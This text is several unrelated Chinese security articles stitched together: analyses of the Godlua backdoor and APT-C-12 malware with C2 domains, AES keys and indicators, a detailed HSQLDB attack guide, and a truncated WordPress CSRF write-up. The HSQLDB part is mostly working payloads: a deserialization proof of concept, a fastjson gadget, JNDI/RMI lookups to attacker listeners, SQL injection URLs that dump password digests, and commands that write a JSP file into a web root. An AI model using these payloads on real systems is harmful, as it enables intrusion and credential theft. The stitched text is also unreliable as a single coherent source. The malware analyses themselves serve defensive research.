Backdoor活跃版本为20190415103713 ~
2019062117473，并且它还在持续更新。它们都是通过C语言开发实现的Backdoor，不过后者能够适应更多的计算机平台以及支持更多的功能，以下是它们的详细对比图。
[
### Godlua Backdoor逆向分析
### version 201811051556
这是我们发现Godlua Backdoor
早期实现的版本(201811051556)，它主要针对Linux平台，并支持2种C2指令，分别是执行Linux系统命令和自定义文件。
#### 样本信息
* MD5: 870319967dba4bd02c7a7f8be8ece94f
> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
> 2.6.32, dynamically linked (uses shared libs), for GNU/Linux 2.6.32,
> stripped
#### C2冗余机制
我们发现它通过硬编码域名和Github项目描述2种方式来存储C2地址，这其实是一种C2冗余机制。
[
它的硬编码C2域名是: d.heheda.tk
[
硬编码Github项目地址，并将C2信息存储在项目描述位置
[
#### C2指令
cmd_call， 执行Linux系统命令
[
cmd_shell，执行自定义文件
[
#### C2协议分析
##### 数据包格式
##### 加密算法
XOR 的Key是随机产生的16 bytes数据，算法为
[
#### 数据包概览
##### cmd_handshake
packet[0:31]:
24 00 02 ec 86 a3 23 fb d0 d1 e9 e8 5f 23 6f 6d
70 b5 95 24 44 e0 fc 2e 00 00 00 6c 69 6e 75 78
2d 78 38 36
Length: packet[0:1] --->0x0024
Type: packet[2] --->0x02,handshake
Data: packet[3:31]
Data
Data[0:15] ---->xor key
Data[16:23] ---->version,hardcoded,little endian.
Data[24:31] ---->arch,hardcoded.
##### cmd_heartbeat
packet[0:10]:
0b 00 03 87 19 45 cb 91 d1 d1 a9
Length: packet[0:1] --->0x000b
Type: packet[2] --->0x03,heartbeat
Data: packet[3:10] --->xored clock64()
### version 20190415103713 ~ 20190621174731
它是Godlua Backdoor当前活跃版本，主要针对Windows和Linux平台，通过Lua实现主控逻辑并主要支持5种C2指令。
#### 样本信息
##### version 20190415103713
* MD5: c9b712f6c347edde22836fb43b927633
> ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked,
> stripped
##### version 20190621174731
* MD5: 75902cf93397d2e2d1797cd115f8347a
> ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked,
> stripped
#### C2冗余机制
[
#### Stage-1 URL
Stage-1 URL存储有3种冗余机制，分别是将该信息通过硬编码密文，Github项目描述和Pastebin文本存储。在解密得到Stage-1
URL后会下载start.png文件，它实际上是Lua字节码。Bot会把它加载到内存中并运行然后获取Stage-2 URL。
##### 加密算法
* AES，CBC模式
* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A
* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C
##### 硬编码密文
**version 20190415103713**
* AES密文：03 13 84 29 CC 8B A5 CA AB 05 9E 2F CB AF 5E E6 02 5A 5F 17 74 34 64 EA 5B F1 38 5B 8D B9 A5 3E
* Stage-1 URL明文：`https://d.heheda.tk/%s.png`
**version 20190621174731**
* AES密文：F1 40 DB B4 E1 29 D9 DC 8D 78 45 B9 37 2F 83 47 F1 32 3A 11 01 41 07 CD DB A3 7B 1F 44 A7 DE 6C 2C 81 0E 10 E9 D8 E1 03 38 68 FC 51 81 62 11 DD
* Stage-1 URL明文数据：`https://img0.cloudappconfig.com/%s.png`
##### Github项目描述
* AES密文：EC 76 44 29 59 3D F7 EE B3 01 90 A9 9C 47 C8 96 53 DE 86 CB DF 36 68 41 60 5C FA F5 64 60 5A E4 AE 95 C3 F5 A6 04 47 CB 26 47 A2 23 80 C6 5F 92
* Github URL明文：`https://api.github.com/repos/helegedada/heihei`
* 解密流程:
[
* Github项目描述密文: oTre1RVbmjqRn2kRrv4SF/l2WfMRn2gEHpqJz77btaDPlO0R9CdQtMM82uAes+Fb
* Stage-1 URL明文数据：`https://img1.cloudappconfig.com/%s.png`
##### Pastebin文本
* AES密文：19 31 21 32 BF E8 29 A8 92 F7 7C 0B DF DC 06 8E 8E 49 F0 50 9A 45 6C 53 77 69 2F 68 48 DC 7F 28 16 EB 86 B3 50 20 D3 01 9D 23 6C A1 33 62 EC 15
* Pastebin URL明文：`https://pastebin.com/raw/vSDzq3Md`
* 解密流程:
[
* Pastebin 文本密文：G/tbLY0TsMUnC+iO9aYm9yS2eayKlKLQyFPOaNxSCnZpBw4RLGnJOPcZXHaf/aoj
* Stage-1 URL明文数据：`https://img2.cloudappconfig.com/%s.png`
#### Stage-2 URL
Stage-2 URL存储有2种冗余机制，分别是将该信息通过Github项目文件和DNS TXT存储。在解密得到Stage-2
URL后会下载run.png文件，它也是Lua字节码。Bot会把它加载到内存中并运行然后获取Stage-3 C2。
##### 加密算法
* AES，CBC模式
* key：22 85 16 13 57 2d 17 90 2f 00 49 18 5f 17 2b 0a
* iv：0d 43 36 41 86 41 21 d2 41 4e 62 00 41 19 4a 5c
##### Github项目文件
* Github URL明文存储在Lua字节码文件中（start.png），通过反汇编得到以下信息：
[
* Github 文件密文： kI7xf+Q/fXC0UT6hCUNimtcH45gPgG9i+YbNnuDyHyh2HJqzBFQStPvHGCZH8Yoz9w02njr41wdl5VNlPCq18qTZUVco5WrA1EIg3zVOcY8=
* Stage-2 URL明文数据：`{"u":"https:\/\/dd.heheda.tk\/%s.png","c":"dd.heheda.tk::198.204.231.250:"}`
##### DNS TXT
* DNS TXT信息存储在Lua字节码文件中（start.png），通过反汇编得到以下信息：
[
* 通过DNS over HTTPS请求获取DNS TXT记录：
[
* DNS TXT密文： 6TmRMwDw5R/sNSEhjCByEw0Vb44nZhEUyUpUR4LcijfIukjdAv+vqqMuYOFAoOpC7Ktyyr6nUOqO9XnDpudVmbGoTeJD6hYrw72YmiOS9dX5M/sPNmsw/eY/XDYYzx5/
* Stage-2 URL明文数据：`{"u":"http:\/\/img1.cloudappconfig.com\/%s.png","c":"img1.cloudappconfig.com::43.224.225.220:"}`
#### Stage-3 C2
Stage-3 C2硬编码在Lua字节码文件中（run.png），通过反汇编得到以下信息
**version 20190415103713**
[
**version 20190621174731**
[
##### 通过DNS Over HTTPS请求获取C2域名A记录
[
##### C2指令
| CMD | Type |
| --------- | ---- |
| HANDSHAKE | 1 |
| HEARTBEAT | 2 |
| LUA | 3 |
| SHELL | 4 |
| UPGRADE | 5 |
| QUIT | 6 |
| SHELL2 | 7 |
| PROXY | 8 |
##### C2协议分析
数据包格式
##### 数据包概览
* HANDSHAKE
[
Type: packet[0] --->0x01,HANDSHAKE
LENGTH: packet[1:2] --->0x0010
Data: packet[3:end]
data[0:7] --->Session
data[8:end] --->version,0x00125cfecd8bcb->20190621174731
* HEARTBEAT
[
`Send: Type: packet[0] --->0x02,HEARTBEAT Length: packet[1:2] --->0x4 Data:
packet[3:end] --->time,0x5d13779b,1561556891 Replay: Type: packet[0]
--->0x02,HEARTBEAT Length: packet[1:2] --->0x4 Data: packet[3:end]
--->1561556891`
* LUA Payload
[
`Type: packet[0] --->0x03,LUA Length: packet[1:2] --->0x00ab Data:
packet[3:end] --->Lua script`
我们可以观察到攻击者正在对[www.liuxiaobei.top进行HTTP](http://www.liuxiaobei.xn--tophttp-fb1ux14c/) Flood攻击
[
#### Lua脚本分析
Godlua Backdoor Bot样本在运行中会下载许多Lua脚本，可以分为运行，辅助，攻击3大类
* 运行：start.png,run.png,quit.png,watch.png,upgrade.png,proxy.png
* 辅助：packet.png,curl.png,util.png,utils.png
* 攻击：VM.png,CC.png
##### 加密算法
* AES，CBC模式
* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A
* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C
##### Lua幻数
解密后的文件以upgrade.png为例，是pre-compiled code,高亮部分为文件头。
[
可以发现幻数从Lua变成了God，虽然样本中有" "字串，但事实上，所采用的版本并不是5.1.4，具体版本无法确定，但可以肯定的是大于5.2。
##### 反编译
为了反编译上述脚本，必须知道样本对Lua进行了哪些修改。经过分析，修改分为两大块，分别是：Lua Header 和 Lua Opcode。
通过Luadec[[1]](https://github.com/viruscamp/luadec)反编译效果图
[
#### 处置建议
我们还没有完全看清楚Godlua
Backdoor的传播途径，但我们知道一些Linux用户是通过Confluence漏洞利用（CVE-2019-3396）感染的。如果我们的读者有更多的信息，欢迎联系我们。
我们建议读者对Godluad Backdoor相关IP，URL和域名进行监控和封锁。
#### 联系我们
感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab**
上联系我们。
#### IoC list
样本MD5
870319967dba4bd02c7a7f8be8ece94f
c9b712f6c347edde22836fb43b927633
75902cf93397d2e2d1797cd115f8347a
URL
https://helegedada.github.io/test/test
https://api.github.com/repos/helegedada/heihei
http://198.204.231.250/linux-x64
http://198.204.231.250/linux-x86
https://dd.heheda.tk/i.jpg
https://dd.heheda.tk/i.sh
https://dd.heheda.tk/x86_64-static-linux-uclibc.jpg
https://dd.heheda.tk/i686-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/i.jpg
https://dd.cloudappconfig.com/i.sh
https://dd.cloudappconfig.com/x86_64-static-linux-uclibc.jpg
https://dd.cloudappconfig.com/arm-static-linux-uclibcgnueabi.jpg
https://dd.cloudappconfig.com/i686-static-linux-uclibc.jpg
http://d.cloudappconfig.com/i686-w64-mingw32/Satan.exe
http://d.cloudappconfig.com/x86_64-static-linux-uclibc/Satan
http://d.cloudappconfig.com/i686-static-linux-uclibc/Satan
http://d.cloudappconfig.com/arm-static-linux-uclibcgnueabi/Satan
https://d.cloudappconfig.com/mipsel-static-linux-uclibc/Satan
C2 Domain
d.heheda.tk
dd.heheda.tk
c.heheda.tk
d.cloudappconfig.com
dd.cloudappconfig.com
c.cloudappconfig.com
f.cloudappconfig.com
t.cloudappconfig.com
v.cloudappconfig.com
img0.cloudappconfig.com
img1.cloudappconfig.com
img2.cloudappconfig.com
IP
198.204.231.250 United States ASN 33387 DataShack, LC
104.238.151.101 Japan ASN 20473 Choopa, LLC
43.224.225.220 Hong Kong ASN 22769 DDOSING NETWORK
* * * | 社区文章 |
# 天眼实验室：蓝宝菇(APT-C-12)最新攻击样本及C&C机制分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
继360公司披露了蓝宝菇(APT-C-12)攻击组织的相关背景以及更多针对性攻击技术细节后，360威胁情报中心近期又监测到该组织实施的新的攻击活动，本文章是对其相关技术细节的详细分析。
## 样本分析
### 诱饵文件
在APT-C-12组织近期的攻击活动中，其使用了伪装成”中国轻工业联合会投资现况与合作意向简介”的诱导文件，结合该组织过去的攻击手法，该诱饵文件会随鱼叉邮件进行投递。
如下图所示该诱饵文件伪装成文件夹的图标，执行后会打开包含有诱饵文档和图片的文件夹，而此时实际的恶意载荷已经在后台执行。
当该诱饵文件运行时，其会解密释放4个文件，其中两个为上述的诱导文档和图片，另外为两个恶意的tmp文件。
释放的恶意tmp文件路径为：
%temp%\unicode32.tmp
%appdata%\WinRAR\update.tmp
最后通过LoadLibraryW加载释放的unicode32.tmp文件。
### unicode32.tmp
unicode32.tmp为一个loader，其主要用于加载update.tmp，如下图所示其通过rundll32.exe加载update.tmp，并调用其导出函数jj。
当加载了update.tmp后，会删除装载exe程序文件和自身。
### update.tmp
该文件为一个DLL,并有一个名为jj的导出函数。
其首先会对目标主机进行信息收集。
1.获取系统版本信息2.调用CreateToolhelp32Snapshot获取系统进程信息。3.调用GetAdaptersInfo获取网卡MAC地址。4.判断当前系统环境是32位或64位。5.通过注册表获取已安装的程序信息，获取的安装程序信息加上前缀”ISL”格式化。
6.通过注册表获取DisplayName和DisplayVersion的信息，并将DisplayName
和DisplayVersion格式化为”%s”:{“ND”:”%s”,”DV”:”%s”}。
信息收集后会首先向远程控制服务器发送上线信息。
获取tmp目录, 创建AdobeNW目录,并从控制服务器上下载AdobeUpdate.tmp作为第二阶段的载荷，其实际为一个DLL文件。
最终调用rundll32启动DLL文件的导出函数MainFun,如果进程创建成功给服务器返回信息。
### AdobeUpdate.tmp
AdobeUpdate.tmp为DLL文件，其导出方法MainFun由第一阶段木马DLL调用执行。
其首先遍历%USERPROFILE%\\\AppData路径下tmp后缀文件，并删除。
然后从文件自身尾部读取配置信息并解密，其格式如下：
加密的配置信息，包括标识ID，控制服务器地址，加密IV和KEY，以及Mutex信息；
4字节加密配置信息长度；
17字节解密密钥；
例如上图所示的解密配置文件的KEY为sobcsnkciatwiffi，其解密算法如下。
解密之后的配置文件如下所示。
查询HKEY_CURRENT_USER下的MyApp注册表查看是否有FirstExec, 通过字符串”no”来判断该DLL是否是第一次执行。
若DLL不为首次执行，则轮询获取控制服务器命令，否则遍历磁盘C：到F：中的文档文件信息，并保存在temp文件夹下的list_tmp.txt中。
其中查找的文档类型包括.ppt .pptx .pdf .xls .xlsx .doc .docx .txt .wps
.rtf的文档，将文档文件路径、创建时间以及文件大小信息进行保存。
下图为示例的写入数据格式(文件路径 创建时间 文件大小):
并将list_tmp.txt进行aes加密后上传到控制服务器。
接着设置注册表FirstExec标志。
AdobeUpdate.dll木马实现了丰富的命令控制指令，其通过访问控制域名获取包含有控制命令的文件，并在本地解密解析后执行。
其指令以***和对应指令数字组成，以下为控制指令功能列表。
## 控制基础设施
APT-C-12组织近期活动中使用的恶意代码利用了applinzi.com域名下的二级域名作为控制域名，该域名为Sina App Engine的云服务托管。
我们测试注册了SAE的账户，其默认创建应用可以免费使用十多天，并支持多种开发语言的环境部署。
我们尝试对其控制服务器进行连接，但其后台处理程序已经出错，通过返回的错误信息我们可以发现该组织使用Python部署的后台应用，并使用了flask作为其Web服务实现。
### SAE控制协议
该组织针对SAE的部署应用实现了一套访问协议，其分为put，info，get，del四个功能。
其中put用于上传文件：
get用于获取文件：
info用于获取信息：
del用于删除文件：
## 总结
继360威胁情报中心发现该组织利用Digital
Ocean云服务作为命令控制和回传通信渠道以后，我们又发现该组织使用国内的云服务SAE构建其控制回传基础设施，利用这种方式一定程度上减少了攻击利用的成本，也增加了分析回溯的难度。
## IOC
crecg.applinzi.com
costbank.applinzi.com
## 参考链接
<https://sae.sina.com.cn/> | 社区文章 |
# 1\. 背景
HSQLDB(HyperSQL DataBase)
是一个完全由Java编写的小型嵌入式数据库，因为它可以以文件或者内存的形式运行，不需要单独另起服务器，HSQLDB 也是一个服务器+客户端一体的 jar
包，HSQLDB 内置了 HTTP 和 HSQL 两种协议的服务器，通过命令行就可以启动 HSQLDB 服务器，除此之外 HSQLDB 还带了一个
Servlet 类`org.hsqldb.server.Servlet`可以注册到 Tomcat 中使用。
在我开发的工具”溯光“中就使用它来存储数据，我在之前做过的几个代码审计项目中也找过与其相关的一些漏洞。所以下文我会分享一些 HSQLDB
相关的一些测试方法。
HSQLDB 有四种连接模式。
1. 内存模式：直接将数据存储在JVM的内存，数据会随着JVM的结束而消失。
2. 文件模式：会将数据以文件形式存储在指定的某个目录下。
3. WEB服务器模式：连接hsqldb的http端口
4. HSQL服务器模式：连接hsqldb的hsql端口
对应的 jdbc url 分别如下
1. jdbc:hsqldb:mem:myDbName
2. jdbc:hsqldb:file:/opt/db/myDbName
3. jdbc:hsqldb:<http://localhost/myDbName>
4. jdbc:hsqldb:hsql://localhost:9001/myDbName
还有一个是 res 模式，但这个不常用，就不提了。
# 2\. 关于调试
> 可以看到自己编译的类中，每个method中都有一个
> LineNumberTable，这个信息就是用于调试的信息，但是hsqldb中没有这个信息，所以是无法调试下断点的，hsqldb应该在编译时添加了某些参数或者使用了其他手段来去除这些信息。
> ——引用自《F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析》
所以要想调试可以通过 **Longofo** 给出的 [longofo/hsqldb-source](https://github.com/longofo/hsqldb-source) 编译后再进行调试，不过作者给出的是 1.8 版本的
hsqldb，如需调试高版本需要自行编译相应版本的 hsqldb ，本文演示所用到的版本为 2.5.1。
# 3\. JDBC URL
JDBC URL我认为可以单独拎出来讲一下，因为有一些场景可能允许自行构造 JDBC URL
来连接数据库，例如一些开发者平台可以填写数据源，其中包括JDBC URL，还有 fastjson 反序列化的一些 DataSource 类型的 gadget
也可以填写 JDBC URL。
我也在一些代码审计项目中发现了 hsqldb JDBC URL 导致的安全问题。
先模拟下第一个场景，描述如下
**有一个数据源修改功能，可以修改jdbc url、jdbc driver
class、数据库账号、数据库密码等信息，其中数据库密码在页面上是打码的，无法从页面和抓包直接查看。**
我的思路如下
### 3.1 SSRF+破解明文密码
由于 hsqldb 允许使用 http/https 的方式去连接服务器，所以可以进行无回显的 SSRF
探测，同时验证密码时也会把明文密码带入请求体，也就可以获得到页面中看不到的密码了。
### 3.2 获取JVM敏感变量
导致问题的代码在`org.hsqldb.DatabaseURL#parseURL`方法
这里取出 `${}`里的字符串作为参数从`System.getProperty`方法调取对应的`value`
也就是说 System.getProperties() 所有的信息都可以通过 http 的方式携带出去。
比如要截取`user.dir`
### 3.3 写SQL文件
前面两种如果不能出外网可能就无法利用，所以要想获取密码就得把SCRIPT文件写到 web 目录下。
前面提到 hsqldb 是支持文件模式的。
所以需要改一下 jdbc url
`jdbc:hsqldb:file:E:/source/java/hsqltest/target/hsqltest/test1`
连接后会在`E:/source/java/hsqltest/target/hsqltest/`目录下生成这几个文件，其中 SCRIPT 文件是数据库初始化的
SQL 脚本文件，包含了用户名与MD5加密后的密码，虽然MD5不能直接破解，但大部分常见的密码都已经被撞出来了。
因为文件被写到了 web 目录，所以可以直接访问 test1.script 文件就能得到密码 MD5。
再通过 SOMD5/CMD5 等平台即可查出明文
# 4\. 反序列化
### 4.1 参数恢复
前段时间 F5 BIG IP 爆出过一个漏洞，其中就用到了 hsqldb 的反序列化漏洞。
因为它的 hsqldb 版本是较低的 1.8 版本，在 Servlet 收到 CALL 命令 恢复参数对象时造成了反序列化。
关于 1.8 的这个反序列化我就不再复现了。相关资料可参考[《F5 BIG-IP
hsqldb(CVE-2020-5902)漏洞踩坑分析》](https://paper.seebug.org/1271/)
public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";
String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));
System.out.println(payload);
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
}
参照 POC 实质上就是 CALL 命令在调用 java 静态方法时遇到 HEX 参数会自动解码并将解码后的 bytes 直接通过
ObjectInputStream 反序列化回 Java 对象。
2.5.1 也同样存在参数恢复的反序列化漏洞，一开始我以为被修了，但经过研究发现还是可以通过调用方法的时候反序列化参数。
### 4.2 图形化客户端
上面这种是由客户端请求服务端的。
由 HSQLDB 图形化客户端请求恶意服务端造成的反序列化漏洞，但有点鸡肋，不像 Mysql driver
反序列化那样连接成功后自动进行反序列化，需要用到图形化客户端来连接才可以。
可以看到 org.hsqldb.types.JavaObjectData#getObject 方法有被
`org.hsqldb.jdbc.JDBCResultSet#getObject(int)`和`org.hsqldb.jdbc.JDBCCallableStatement#getObject(int)`用到。
这两个类也就是 jdbc 客户端的ResultSet和Statement类。
只要他们的 getObject 方法被调用到且该字段的值可控就可以造成反序列化。
我通过查阅官方文档和阅读代码得可以创建一个带有 OTHER 类型字段的表。
通过 INSERT 语句插入一条序列化对象，当图形化客户端查询到这条结果或者 Java 客户调用到 ResultSet / Statement 的
getObject 方法时便会触发反序列化。
首先应先创建一个表， 设置 obj 字段为 OTHER 类型。
CREATE TABLE movies (director VARCHAR(30), obj OTHER)
然后通过如下代码插入一条反序列化 payload 到这个表。
String dburl = "jdbc:hsqldb:http://127.0.0.1/";
Class.forName("org.hsqldb.jdbc.JDBCDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
connection.prepareStatement("CREATE TABLE movies (director VARCHAR(30), obj OTHER)").executeUpdate();
PreparedStatement preparedStatement = connection.prepareStatement("insert INTO MOVIES values(?,?)");
Object calc = new JRMPClient().getObject("127.0.0.1:2333");
String s = "a" + System.currentTimeMillis();
preparedStatement.setString(1,"a"+System.currentTimeMillis());
preparedStatement.setObject(2,calc);
System.out.println(preparedStatement.executeUpdate());
当我再用 HSQLDB 图形化客户端去连接这个数据库并且查询 movies 表时就会自动触发反序列化。
### 4.3 DataSource gadget
在 fastjson 开启了 autotype 且没有可用的 rce gadget 的场景下可以用到。
{"@type":"org.hsqldb.jdbc.pool.JDBCPooledDataSource","url":"jdbc:hsqldb:http://127.0.0.1:2333/?${user.dir}","user":"sa","password":"","a":{"$ref":"$.pooledConnection"}}
实际上就是用 hsqldb 的 `org.hsqldb.jdbc.pool.JDBCPooledDataSource` 来连接指定 jdbc url 的
hsqldb 数据库。
# 5\. 高危SQL命令
### 5.1 方法调用
根据我的测试结果来看有三种方式可以来调用 JAVA 方法。
**第一种：自定义函数**
create function rce(VARCHAR(80))
returns VARCHAR(80)
no sql
language java
external name 'CLASSPATH:java.rmi.Naming.list'
;
CALL rce('rmi://127.0.0.1:2333/a')
和其他数据库一样，hsqldb 也可以创建自定义函数，且允许引用 Java 的静态方法，要求参数和返回值都是 HSQLDB 支持的类型。
我找到了 `java.rmi.Naming.list`正好符合，且可以造成反序列化。
除此之外还有`javax.naming.InitialContext.doLookup`
**第二种：直接调用Java方法**
CALL "java.rmi.Naming.list"('rmi://127.0.0.1:2333/a')
这种原理和第一种一样，同样需要参数和返回类型是 HSQLDB 支持的类型
**第三种：设置密码检查扩展方法**
SET DATABASE PASSWORD CHECK FUNCTION EXTERNAL NAME 'CLASSPATH:java.class.method'
//创建用户密码和修改当前用户密码时会触发
SET DATABASE AUTHENTICATION FUNCTION EXTERNAL NAME 'CLASSPATH:java.class.method'
//认证时会触发
### 5.2 文件读取
**LOAD_FILE**
我查阅了[官方文档](http://www.hsqldb.org/doc/2.0/guide/builtinfunctions-chapt.html)，找到了 `LOAD_FILE`函数。主要是用来读取文件和请求URL的。
但这个函数有个缺点，如果参数中没有把 `hsqldb.allow_full_path`设置为 `true` 就只能读取 hsqldb
数据库文件存放的目录及其子目录，也无法通过`..`跳转目录。
参考上图，要求 `allowFull` 和 `propTextAllowFullPath`有一个为 `True`才可以跨目录。
**TEXT TABLE**
这个需要创建一个 TEXT 类型的 TABLE ，然后通过 SET 命令向该表插入数据库。
CREATE TEXT TABLE TESTDATA(
txt VARCHAR(255)
) ;
然后再通过 SET 命令向 TEXT TABLE 导入文件
SET TABLE TESTDATA SOURCE 'data.script'
但同样和 LOAD_FILE 一样不能跨目录读取文件。
**IMPORT SCRIPT**
这个和其他两个不同，他的功能是读取文件并且导入脚本。
与前两个不同的是他可以跨目录读取文件，但缺点就是读出来的文件是以报错形式显示的，而且只能读一部分内容。
PERFORM IMPORT SCRIPT VERSIONING DATA FROM 'C:/windows/win.ini'
他能跨目录读文件的原因是 allowFull 参数被设定为 `true`了
### 5.3 文件写入
**SCRIPT**
SCRIPT 这个命令会把当前的数据库脚本导出到指定的文件路径下，不受 allowFull 参数的限制，也没有文件后缀限制。
http://localhost:8888/query?keyword=test';CREATE+TABLE+EVIL(txt+VARCHAR(255));--
http://localhost:8888/query?keyword=test';insert+into+EVIL+values('<%25=666666-1%25>');--
http://localhost:8888/query?keyword=test';SCRIPT+'E:/source/java/hsqltest/target/hsqltest/evil.jsp';--
我分别执行了三条SQL 命令。
第一条和第二条用于写入 JSP 代码到 script 文本中。
第三条用 SCRIPT 命令把脚本文本导出为 jsp 文件到web目录下。
最后再去访问 `http://localhost:8888/evil.jsp` 就可以执行 jsp 代码。
# 6\. SQL注入
hsqldb 和其他数据库基本一样，也有报错注入、UNION注入、盲注。
另外 hsqldb 默认支持堆叠查询。
因为 RESTRICT
（防止多行查询）的选项是关闭的。所以`Statement.executeQuery()`可以多行查询，所以上文中提到的一些测试方式大多数都可以用。
### 6.1 报错注入
主流的报错注入方式主要分为两类。
一类是 mysql、Oracle 这种使用自带函数使错误抛出的信息中携带参数值。另一类是 sqlserver 这种转型报错。
因为转型在这里并不适用，所以开始看一些函数的源码。
其中我关注到了 `LOAD_FILE`函数，发现它会把参数当做文件去读取，一旦遇到文件无法读取的情况就会把文件路径带入到报错信息中输出。
从源码中来看就是文件没读到，抛出了一个异常，在message中把这个路径给带了出来。
想找其他可以报错注入的函数也很简单，搜索`Error.error\(.*, .*\)`这条正则一步步顺着向上找对应的函数。
例如`REGEXP_REPLACE`这个函数
这里它把第六个参数带入了`FunctionCustom.regexpParams()`方法
当switch的所有case都不满足时会把它带入异常信息抛出，也就造成了报错注入。
下面展示下两个报错注入的例子
http://localhost:8888/query?keyword=test' and REGEXP_REPLACE('','','','',1,concat('~',user()))='1
http://localhost:8888/query?keyword=test' and load_file(concat('x:/',(SELECT top 1 concat(user_name,'~',password_digest) FROM information_schema.system_users)))!=null and '1'='1
### 6.2 UNION 注入
和其他类型的数据库一样，基本没什么差别
先通过 order by 查当前表的 column 数量
http://localhost:8888/query?keyword=test' or 1=1 order by 13--!
13 返回正常，14报错，说明 column 有 13 个。
http://localhost:8888/query?keyword=test' and 1=2 union select database(),(SELECT top 1 concat(user_name,'~',password_digest) FROM information_schema.system_users),null,null,null,null,null,null,null,null,null,true,null from INFORMATION_SCHEMA.TABLES--!
注入出数据库账号密码
### 6.3 布尔盲注
布尔盲注主要通过页面返回的正常与否判断SQL执行的情况。
其他数据库的盲注用到的函数 hsqldb 基本都有。
如: **SUBSTR** 、 **length** 、 **HEX** 、 **DECODE** 等。
其中 **DECODE** 就相当于 mysql 的 **IF** 。
decode(user(),'SA',1,0)
这条SQL的含义是“如果user()的值等于'SA'则返回1，否则返回0”
再带入到盲注脚本就很好理解了。
运行盲注脚本就可以查到SQL结果
### 6.4 延时盲注
与其他数据库不同的是我没有发现 hsqldb 有延时函数。
所以需要通过其他的方法来达到延时的效果。我有两种思路。
1. 通过 **REGEXP_MATCHES** 函数引发REDOS造成延时（慎用）
2. 查一个数据非常多的表引发延时。
需要注意的是 **REGEXP_MATCHES** 会造成CPU过载，使用不当可能会卡死。
REGEXP_MATCHES('aaaaaaaaaaaaaaaaaaaaaaaaaaaX','(a+)+')
这条SQL我运行时会延时 4 秒左右， **X** 前面的 **a** 越多延迟时间就越长，一般能延迟5秒左右就可以了。
在布尔盲注的脚本基础上稍作修改就可以跑出数据了。
### 6.5 堆叠注入
前面提到过，hsqldb 是默认允许堆叠查询的，所以可以像 sqlserver 一样自由的执行其他命令。
例如通过 CALL 命令调用 Java 方法 RCE
http://localhost:8888/query?keyword=test';CALL "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:2333/Exploit');--!
顺便提一下，在注入场景下要想执行 Java 方法也不一定非要依靠堆叠注入，上面只是以 CALL 命令举个例子，如果遇到不可以堆叠注入的情况也可以直接去掉
CALL 带入查询。
http://localhost:8888/query?keyword=test' and "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:2333/Exploit')!=null and 'a'='a
# 7\. 参考
[本文首发于快手SRC](https://mp.weixin.qq.com/s/97RX9Y6H35GM4oibud883Q "本文首发于快手SRC")
[Chapter 10. Built In
Functions](http://www.hsqldb.org/doc/2.0/guide/builtinfunctions-chapt.html
"Chapter 10. Built In Functions")
[longofo / hsqldb-source](https://github.com/longofo/hsqldb-source "longofo /
hsqldb-source")
[F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析](https://paper.seebug.org/1271/ "F5
BIG-IP hsqldb CVE-2020-5902 漏洞踩坑分析") | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/jvVZlqdxNLhIB3N6IP4btw> **
### 概述
#### 1.1 前言
2019年3月13号，RIPS又放了一个WordPress的CSRF，与此同时WordPress官方也提交相应的Commit，算是一个比较新的洞。问题出在文章的评论上，其实是有防CSRF相应的wpnonce，熟悉wp的人肯定不会陌生wpnonce，这是wp的防御机制，
**动作** 和 **postid** 构成的 **token** ，用来验证 **reference**
，而且wordpress对标签的过滤机制比较严格的。白名单机制，列如a标签的名单为
看起来是比较严格的，基本带动作的标签不可能出现，插不进js。比较有趣是两个对评论的filter组合起来造成了，a标签中的属性逃逸。RIPS文章也说的比较简单，接下来看看具体的实现过程，其实存在利用条件的，RIPS也没有指出来，总结时详细说明。
#### 1.2 背景介绍
##### 1.2.1 漏洞描述
漏洞存在于5.1.1之前的WordPress版本中，可以使用默认设置进行利用。
根据其WordPress官方下载页面，超过33％的互联网网站正在使用WordPress。
文章评论是博客的核心功能并且默认情况下已启用，该漏洞会影响数百万个网站。
##### 1.2.2 受影响版本
WordPress <= 5.1.1
#### 1.3 测试环境
Kali 4.19.0 WordPress 5.1.1
### 0×02 漏洞实现过程
环境最新是5.1.1 昨天才官方刚commit的修复过程，算是比较新。既然是是CSRF，表单提交点在于每篇文章的评论处。`wp-comments-post.php:25, wp_handle_comment_submission(wp_unslash( $_POST
))`，进入`comment_handler` 函数 做了一些简单的赋值过程：
来看看上面对于用户身份判断的过程。评论需要用户为登录态。关键处：
其中判断用户能否不需要过滤html，到下面的判断提交comment过程中的wpnonce验证，若是没有通过身份验证会重新定义 **kses**
处理过程的中的filter，具体看一下`kses_init_filters`
这里为什么会重新删减filter，在前面初始化的过程中在 **init** 标签的注册了一个`kses_init()`
仅仅判断通过用户身份Session身份判断了，需不要添加过滤html的filter。管理员用户在操作的时候，即默认是没有插入对`pre_comment_content`的过滤html的钩子，但是在判断添加评论的时候又因为在想要的wpnonce验证不通过的时候，又添加上了相应的filter，官方还是考虑到了相应的安全问题，但是为什么又要加一层身份判断，添加不同的处理函数呢，直接插入`wp_filter_kses`不好吗？
正是因为`wp_filter_kses` 和`wp_filter_post_kses` 不同上造成了后面的js执行
